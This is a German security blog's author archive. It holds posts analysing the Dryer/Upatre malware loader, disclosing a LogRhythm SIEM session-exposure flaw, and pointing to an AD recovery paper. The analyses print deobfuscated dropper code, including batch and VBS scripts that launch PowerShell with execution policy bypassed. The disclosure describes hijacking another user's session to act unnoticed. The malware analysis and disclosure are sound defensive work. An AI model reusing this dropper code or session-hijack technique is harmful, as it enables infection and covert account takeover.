Archiv für den Autor: Patrick

Über Patrick

Ich bin ein 24 jähriger, gelernter Informatiker mit einem Bachelor in Computer Science und System Engineer und Security Specialist für einen IT Provider.

Update von Dryer-Loader im Umlauf als PowerShell/Dowtre

Heute morgen bin ich über einen Virusalert gestolpert und die Signatur und der Aufbau ist mir gleich bekannt vorgekommen. 3 Files, einmal Batch, einmal VBS und einmal Powershell und zusätzlich ein Filename als Nummernstring; das sieht mir ganz nach dem Dryer-Loader und seiner Gefolgschaft aus!

Ein kurzer Blick auf die beiden Files, welche ich noch vor dem Virenscanner retten konnte, hat meine Vermutung auch bestätigt. Das Batch-Script hat die bekannten, kryptischen GOTO-Anweisungen und zu Beginn der sehr markante 2-fach Ping zur Prüfung der Internetverbindung:

@echo off
:jqduqihdjsakd
ping 3.2.1.1 -n 2
chcp 1251
:nuwqhduiw
set Rts2="vb"
set Rts1="."
set Rts3="s"
set Ads3="21385"
:hdjqkwhdqhwd
set Mts4="C:\Users\ksalivug\AppData\Local\Temp\"
:ajhsdkasghjgsd
set Rts4=%Mts4%%Ads3%
:byqdyqwgjhg
cscript.exe %Rts4%%Rts1%%Rts2%%Rts3%
exit

Ausserdem scheint der übliche Ablauf Makro > BAT > VBS > PS1 > Upatre.EXE > Dryer.EXE immer noch zu bestehen, nur wurde in meinem Fall bereits die PS1 und nicht wie in der ersten Version, welche ich Analysiert hatte, erst der Loader Upatre vom AV Scanner geblockt.

Ausserdem scheint der Entwickler nun auch den Fehler behoben zu haben, welche ich in der ersten Version angekreidet habe. Nun wird nach dem CreateObject auch tatsächlich noch ein Run ausgeführt:

Dim dff
dff = 68
swdff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject("Scripting.FileSystemObject")
huih = ".ps"&"1"
nuaaa = "powerShell.exe"
currentFile = "C:\Users\ksalivug\AppData\Local\Temp\"&"21385"&huih
Set objShell = CreateObject("Wscript.shell")
objShell.Run ""&nuaaa&" -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true

Wer das eigene Netzwerk prüfen will, der soll einfach nach Verbindungen zur IP 3.2.1.1 schauen: Diese war bereits beim Upatre sehr konstant einprogrammiert und scheint auch über die einzelnen Versionen nicht all zu gross zu variieren.

Session Hijacking einfach gemacht in Logrhythm

Logrhythm, eine SIEM-Lösung der aufstrebenden Art, welches Splunk oder Q-Radar wohl locker das Wasser reichen kann und im Vergleich zu den beiden Beispielen nur etwa die Hälfte kostet, konnte ich die vergangenen Tage mehr als ausführlich testen und ausprobieren – und ich muss sagen, ich bin begeistert!

Doch vor kurzem bin ich über ein kleines Problem gestossen, das schon fast etwas peinlich ist für ein Hersteller von einer solchen Security-Applikation. Beim Reload der Hauptseite ist mir im Menü aufgefallen, dass plötzlich eine ein weiterer Tab im Menü auftaucht mit der Aufschrift „Status“:

lr

Also habe ich mir mal kurz den HTML-Code dazu angesehen und bin über folgendes Snippet gestolpert:

<a class="navitem " href="/status" target="_self" ng-hide="'active current' != ''">Status</a>

Also schauen wir uns doch mal den Link an, welcher hier versteckt wird:

status

Ich muss schon sagen, ich war doch etwas schockiert und erstaunt. Mal abzusehen davon, dass hier eine Seite mit „Security through Obscurity“ geschützt wird, wird hier auch ohne weiteres der Session-String von allen eingeloggten Nutzern offenbart!

Ein kleiner Test hat gezeigt, was ich beim Entdecken der Seite bereits befürchtet hatte: Eintragen des Strings ins bestehende Cookie und Neuladen der Seite reicht aus und schon habe ich eine fremde Session übernommen… Nun ja, ich kann zwar damit nur einfache Suchanfragen ausführen, doch wenn ich nicht will, dass auskommt, wenn ich die Aktivitäten eines Benutzers überprüfen, so ist das eine effektive Massnahme, um nicht aufzufallen, oder das ganze jemandem anderen unterzuschieben!

Die Status-Seite in diesem Umfang steht zwar nur den globalen Administratoren der Lösung zur Verfügung, doch ich denke auch da sollte man nicht so leichtfertig mit diesen Informationen umgehen, ganz nach dem Motto: „Quis custodiet ipsos custodes?“

Dryer / Upatre im Detail

Vor kurzem bin ich über eine Version vom Dryer beziehungsweise seinem Loader, genannt Upatre gestolpert und meine Analyse möchte ich euch nicht vorenthalten:

Aufbau

In einem ersten Schritt habe ich mich an eine detaillierte Analyse gemacht. Begonnen hat alles mit einem Mail mit Word und Makro im Anhang. Durch einen Dump konnte ich die folgenden Makros rausziehen und durch ein bisschen Reverse Engineering und Zusammensetzen auch die Verschleierungsversuche rückgängig machen:

– ThisDocument
– Module1
– Module2

Daraus entstehen dann die folgenden Scripts. Einerseits ein Batch-Script, Variante 1:

echo off
:pinkator
	ping 1.2.3.1 -n 2
	set ggtt="bs"

:lqwjdjqiw
:lwijdsji
	set trfd="%TMP%\"
	set nmsj="31166"
	set exds="8"

	cscript.exe %TMP%\31166.vbs
	ping 2.2.1.1 -n 2
																								
:windows
	%TMP%\8.exe
																								
:loop
	ping 1.3.1.2 -n 1
	set tar1="31166.bat"
	set stat="444.png"
	del %TMP%\3116.vbs
	del %TMPT\31166.bat
	del %TMP%\444.png
																								
	if exist %TMP%\31166.bat goto loop
	if exist %TMPT\31166.vbs goto loop
exit

Weiterlesen

Wiederherstellen von Benutzern aus dem AD

In der digitalen Welt ist das Löschen einfach geworden: Einmal nicht genau kontrolliert, einmal zuwenig nachgedacht und schon ist etwas gelöscht… Besonders in einem Active Directory kann das grosse Wellen schlagen, da ein Benutzer ziemlich bald danach nicht mehr arbeiten kann, da neben seinen Zugriffen auch sein Login verfällt!

Und da braucht es eine schnelle und einfache Variante zum Wiederherstellen. Im Rahmen einer Arbeit an der Fachhochschule, haben ein Kollege und ich ein Dokument verfasst, welches aufzeigt, wie in so einem Fall vorgegangen werden kann.

Zu finden ist die Arbeit hier.